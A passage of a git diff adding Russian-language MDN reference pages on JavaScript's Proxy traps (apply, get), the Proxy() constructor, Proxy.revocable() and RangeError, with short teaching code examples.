+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  "hasOwn": function (oTarget, sKey) {
+    return oTarget.hasItem(sKey);
+  },
+  "defineProperty": function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  "getPropertyNames": function (oTarget) {
+    return Object.getPropertyNames(oTarget).concat(oTarget.keys());
+  },
+  "getOwnPropertyNames": function (oTarget) {
+    return Object.getOwnPropertyNames(oTarget).concat(oTarget.keys());
+  },
+  "getPropertyDescriptor": function (oTarget, sKey) {
+    var vValue = oTarget[sKey] || oTarget.getItem(sKey)
+    return vValue ? {
+      "value": vValue,
+      "writable": true,
+      "enumerable": true,
+      "configurable": false
+    } : undefined;
+  },
+  "getOwnPropertyDescriptor": function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      "value": vValue,
+      "writable": true,
+      "enumerable": true,
+      "configurable": false
+    } : undefined;
+  },
+  "fix":  function (oTarget) {
+    return "not implemented yet!";
+  },
+});
+
+/* Проверка cookies */
+
+alert(docCookies.my_cookie1 = "First value");
+alert(docCookies.getItem("my_cookie1"));
+
+docCookies.setItem("my_cookie1", "Changed value");
+alert(docCookies.my_cookie1);</pre>
+
+<h2 id="See_also" name="See_also" style="line-height: 30px; font-size: 2.14285714285714rem;">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://jsconf.eu/2010/speaker/be_proxy_objects.html">"Proxies are awesome" презентация Brendan Eich на JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">слайды</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">Страница предложения ECMAScript Harmony Proxy</a> и <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">страница ECMAScript Harmony proxy semantics</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Руководство по прокси</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">Старая страница Proxy API</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/watch"><code>Object.watch</code></a> - не стандартная возможность, поддерживается только в движке Gecko.</li>
+</ul>
+
+<h2 id="Лицензионные_примечания">Лицензионные примечания</h2>
+
+<p>Некоторое содержимое (текст, примеры) данной страницы было скопировано или адаптировано со страниц <a class="external" href="http://wiki.ecmascript.org/doku.php">вики ECMAScript</a>, имеющей лицензию <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a></p>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html
new file mode 100644
index 0000000000..81ea9d0605
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html
@@ -0,0 +1,111 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+tags:
+  - Прокси
+  - вызов функции
+  - ловушка
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>handler.apply()</code></strong> является ловушкой для вызова функции.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, {
+  apply: function(<var>target</var>, <var>thisArg</var>, <var>argumentsList</var>) {
+  }
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Методу <code>apply()</code> передаются следующие параметры. <code>this</code> связан с объектом-обработчиком.</p>
+
+<dl>
+ <dt><code><var>target</var></code></dt>
+ <dd>Исходный объект.</dd>
+ <dt><code><var>thisArg</var></code></dt>
+ <dd>Аргумент <code>this</code> для вызова.</dd>
+ <dt><code><var>argumentsList</var></code></dt>
+ <dd>Список аргументов для вызова.</dd>
+</dl>
+
+<h3 id="Возврат_значения">Возврат значения</h3>
+
+<p>Метод <code>apply()</code> может возвращать значение.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code><strong>handler.apply()</strong></code> является ловушкой для вызова функции.</p>
+
+<h3 id="Перехват">Перехват</h3>
+
+<p>Ловушка может перехватывать следующие операции:</p>
+
+<ul>
+ <li><code><var>proxy</var>(...<var>args</var>)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} и {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="Инварианты">Инварианты</h3>
+
+<p>Если следующие инваринаты нарушены, то прокси выбросит {{jsxref("TypeError")}}.</p>
+
+<p>Исходный объект <code><var>target</var></code> должен быть самовызываемым. То есть, это должна быть функция-объект.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ловушка_для_вызова_функции">Ловушка для вызова функции</h3>
+
+<p>Следующий код ловит вызов функции.</p>
+
+<pre class="brush: js notranslate">const p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('called: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.apply")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html
new file mode 100644
index 0000000000..2d6be05af5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html
@@ -0,0 +1,127 @@
+---
+title: handler.get()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>handler.get()</code></strong> является ловушкой для получения значения свойства.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-get.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, {
+  get: function(<var>target</var>, <var>property</var>, <var>receiver</var>) {
+  }
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Следующие параметры передаются методу <code>get()</code>. <code>this</code> привязан к обработчику.</p>
+
+<dl>
+ <dt><code><var>target</var></code></dt>
+ <dd>Исходный объект, который проксируется.</dd>
+ <dt><code><var>property</var></code></dt>
+ <dd>Наименование или {{jsxref("Symbol")}} получаемого свойства. </dd>
+ <dt><code><var>receiver</var></code></dt>
+ <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Прокси или объект, наследуемый от прокси.</span></span></span>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Возвращаемое значение</span></span></span></h3>
+
+<p>Метод <code>get()</code> может возвращать значение.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code><strong>handler.get()</strong></code> является ловушкой для получения значения свойства.</p>
+
+<h3 id="Перехват">Перехват</h3>
+
+<p>Эта ловушка может перехватывать следующие операции:</p>
+
+<ul>
+ <li>Доступ к свойству: <code><var>proxy</var>[<var>foo</var>]</code>and <code><var>proxy</var>.<var>bar</var></code></li>
+ <li>Доступ к наследованному свойству: <code>Object.create(<var>proxy</var>)[<var>foo</var>]</code></li>
+ <li>{{jsxref("Reflect.get()")}}</li>
+</ul>
+
+<h3 id="Инварианты">Инварианты</h3>
+
+<p>Если следующие инваринаты нарушены, то прокси выбросит {{jsxref("TypeError")}}:</p>
+
+<ul>
+ <li><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Значение, сообщаемое для свойства, должно быть таким же, как значение соответствующего свойства целевого объекта, если свойство целевого объекта является неперезаписываемым, не настраиваемым свойством собственных данных.</span></span></span></li>
+ <li><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Значение, сообщаемое для свойства, должно быть </span></span></span>undefined, <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>если соответствующее свойство целевого объекта не является настраиваемым собственным свойством доступа, которое</span></span></span> <code>undefined</code> как и его атрибут <code>[[Get]]</code> attribute.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ловушка_для_получения_значения_свойства">Ловушка для получения значения свойства</h3>
+
+<p>Следующий код перехватывает получение значения свойства.</p>
+
+<pre class="brush: js notranslate">const p = new Proxy({}, {
+  get: function(target, property, receiver) {
+    console.log('called: ' + property);
+    return 10;
+  }
+});
+
+console.log(p.a); // "called: a"
+                  // 10
+</pre>
+
+<p>Следующий код нарушает инвариант.</p>
+
+<pre class="brush: js notranslate">const obj = {};
+Object.defineProperty(obj, 'a', {
+  configurable: false,
+  enumerable: false,
+  value: 10,
+  writable: false
+});
+
+const p = new Proxy(obj, {
+  get: function(target, property) {
+    return 20;
+  }
+});
+
+p.a; // TypeError is thrown
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.get")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Reflect.get()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html
new file mode 100644
index 0000000000..1bf6b70b43
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html
@@ -0,0 +1,125 @@
+---
+title: Proxy() constructor
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+tags:
+  - Constructor
+  - JavaScript
+  - NeedsTranslation
+  - Proxy
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>Proxy()</strong></code> constructor is used to create {{jsxref("Proxy")}} objects.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">new Proxy(<var>target</var>, <var>handler</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><var>target</var></code></dt>
+ <dd>A target object to wrap with <code>Proxy</code>. It can be any sort of object, including a native array, a function, or even another proxy.</dd>
+ <dt><code><var>handler</var></code></dt>
+ <dd>An object whose properties are functions that define the behavior of the proxy when an operation is performed on it.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Use the <code>Proxy()</code> constructor to create a new <code>Proxy</code> object. This constructor takes two mandatory arguments:</p>
+
+<ul>
+ <li><code>target</code> is the object for which you want to create the proxy</li>
+ <li><code>handler</code> is the object that defines the custom behavior of the proxy.</li>
+</ul>
+
+<p>An empty handler will create a proxy that behaves, in almost all respects, exactly like the target. By defining any of a set group of functions on the <code>handler</code> object, you can customise specific aspects of the proxy's behavior. For example, by defining <code>get()</code> you can provide a customised version of the target's <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessor</a>.</p>
+
+<h3 id="Handler_functions">Handler functions</h3>
+
+<p>This section lists all the handler functions you can define. Handler functions are sometimes called <em>traps</em>, because they trap calls to the underlying target object.</p>
+
+<dl>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/apply", "handler.apply()")}}</dt>
+ <dd>A trap for a function call.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/construct", "handler.construct()")}}</dt>
+ <dd>A trap for the {{JSxRef("Operators/new", "new")}} operator.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.defineProperty")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>A trap for the {{JSxRef("Operators/delete", "delete")}} operator.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/get", "handler.get()")}}</dt>
+ <dd>A trap for getting property values.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.getPrototypeOf")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/has", "handler.has()")}}</dt>
+ <dd>A trap for the {{JSxRef("Operators/in", "in")}} operator.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.isExtensible")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.getOwnPropertyNames")}} and {{JSxRef("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.preventExtensions")}}.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/set", "handler.set()")}}</dt>
+ <dd>A trap for setting property values.</dd>
+ <dt>{{JSxRef("Global_Objects/Proxy/Proxy/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>A trap for {{JSxRef("Object.setPrototypeOf")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Selectively_proxy_property_accessors">Selectively proxy property accessors</h3>
+
+<p>In this example the target has two properties, <code>notProxied</code> and <code>proxied</code>. We define a handler that returns a different value for <code>proxied</code>, and lets any other accesses through to the target.</p>
+
+<pre class="brush: js notranslate">const target = {
+  notProxied: "original value",
+  proxied: "original value"
+};
+
+const handler = {
+  get: function(target, prop, receiver) {
+    if (prop === "proxied") {
+      return "replaced value";
+    }
+    return Reflect.get(...arguments);
+  }
+};
+
+const proxy = new Proxy(target, handler);
+
+console.log(proxy.notProxied); // "original value"
+console.log(proxy.proxied);    // "replaced value"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-constructor', 'Proxy constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.Proxy")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming"><code>Proxy</code> and <code>Reflect</code> in the JavaScript Guide</a></li>
+ <li>{{jsxref("Global_Objects/Reflect", "Reflect")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/revocable/index.html b/files/ru/web/javascript/reference/global_objects/proxy/revocable/index.html
new file mode 100644
index 0000000000..fbc4009f60
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/revocable/index.html
@@ -0,0 +1,91 @@
+---
+title: Proxy.revocable()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/revocable
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/revocable
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Proxy.revocable()</strong></code> используется, чтобы создать отменяемый {{jsxref("Proxy")}} объект.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Proxy.revocable(target, handler);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<div>{{ Page("/docs/Web/JavaScript/Reference/Global_Objects/Proxy", "Parameters") }}</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Создаётся и возвращается отменяемый <code>Proxy</code> объект.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Отменяемый <code>Proxy</code> - объект со следующими двумя свойствами <code>{proxy: proxy, revoke: revoke}</code>.</p>
+
+<dl>
+ <dt><code>proxy</code></dt>
+ <dd>Объект <code>Proxy</code>, созданный с помощью вызова <code>new Proxy(target, handler)</code>.</dd>
+ <dt><code>revoke</code></dt>
+ <dd>Функция, не принимающая аргументов, которая сделает недействительным (выключит) <code>proxy</code>.</dd>
+</dl>
+
+<p>Если вызовется функция <code>revoke()</code>, <code>proxy</code> становится неиспользуемым: Любой <code>proxy</code>-перехватчик событий объекта будет вызывать исключение {{jsxref("TypeError")}}. Как только <code>proxy</code> отменена, она останется отменённой и дальше, и может быть собрана сборщиком мусора. Повторный вызов <code>revoke()</code> не будет иметь никакого эффекта.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+  get: function(target, name) {
+    return "[[" + name + "]]";
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.foo); // "[[foo]]"
+
+revocable.revoke();
+
+console.log(proxy.foo); // Вызвано исключение TypeError
+proxy.foo = 1           // TypeError снова
+delete proxy.foo;       // Всё ещё TypeError
+typeof proxy            // "object", typeof не вызывает никаких proxy-перехватчиков событий
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузерами">Совместимость браузерами</h2>
+
+<div class="hidden">Таблица совместимости с браузерами на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад, добавить данные, пожалуйста посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.revocable")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/rangeerror/index.html b/files/ru/web/javascript/reference/global_objects/rangeerror/index.html
new file mode 100644
index 0000000000..c81cd31cdc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/rangeerror/index.html
@@ -0,0 +1,151 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Global_Objects/RangeError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Объект <code><strong>RangeError</strong></code> представляет ошибку, возникающую, когда значение не входит в множество или выходит за диапазон допустимых значений.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Исключение <code>RangeError</code> выбрасывается при попытке передать аргументом в функцию число, которое не входит в допустимый диапазон значений аргумента этой функции. Оно может возникать при создании массива с неправильной длиной через конструктор {{jsxref("Array")}}, или при передаче плохих значений в методы числа {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} или {{jsxref("Number.toPrecision()")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>RangeError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Глобальный объект <code>RangeError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="RangeError_instances" name="RangeError_instances">Экземпляры объекта <code>RangeError</code></h2>
+
+<h3 id="Properties_of_RangeError_instances" name="Properties_of_RangeError_instances">Свойства</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_RangeError_instances" name="Methods_of_RangeError_instances">Методы</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_RangeError" name="Example:_Using_RangeError">Пример: использование <code>RangeError</code></h3>
+<pre class="brush: js">var check = function(num) {
+  if (num &lt; MIN || num &gt; MAX) {
+    throw new RangeError('Параметр должен быть между ' + MIN + ' и ' + MAX);
+  }
+};
+
+try {
+  check(500);
+}
+catch (e) {
+  if (e instanceof RangeError) {
+    // Обработка ошибки диапазона
+  }
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/rangeerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/rangeerror/prototype/index.html
new file mode 100644
index 0000000000..e537146615
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/rangeerror/prototype/index.html
@@ -0,0 +1,122 @@
+---
+title: RangeError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>RangeError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("RangeError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("RangeError")}} наследуются от объекта <code>RangeError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>RangeError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("RangeError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("RangeError")}} не содержит собственных методов, экземпляры {{jsxref("RangeError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
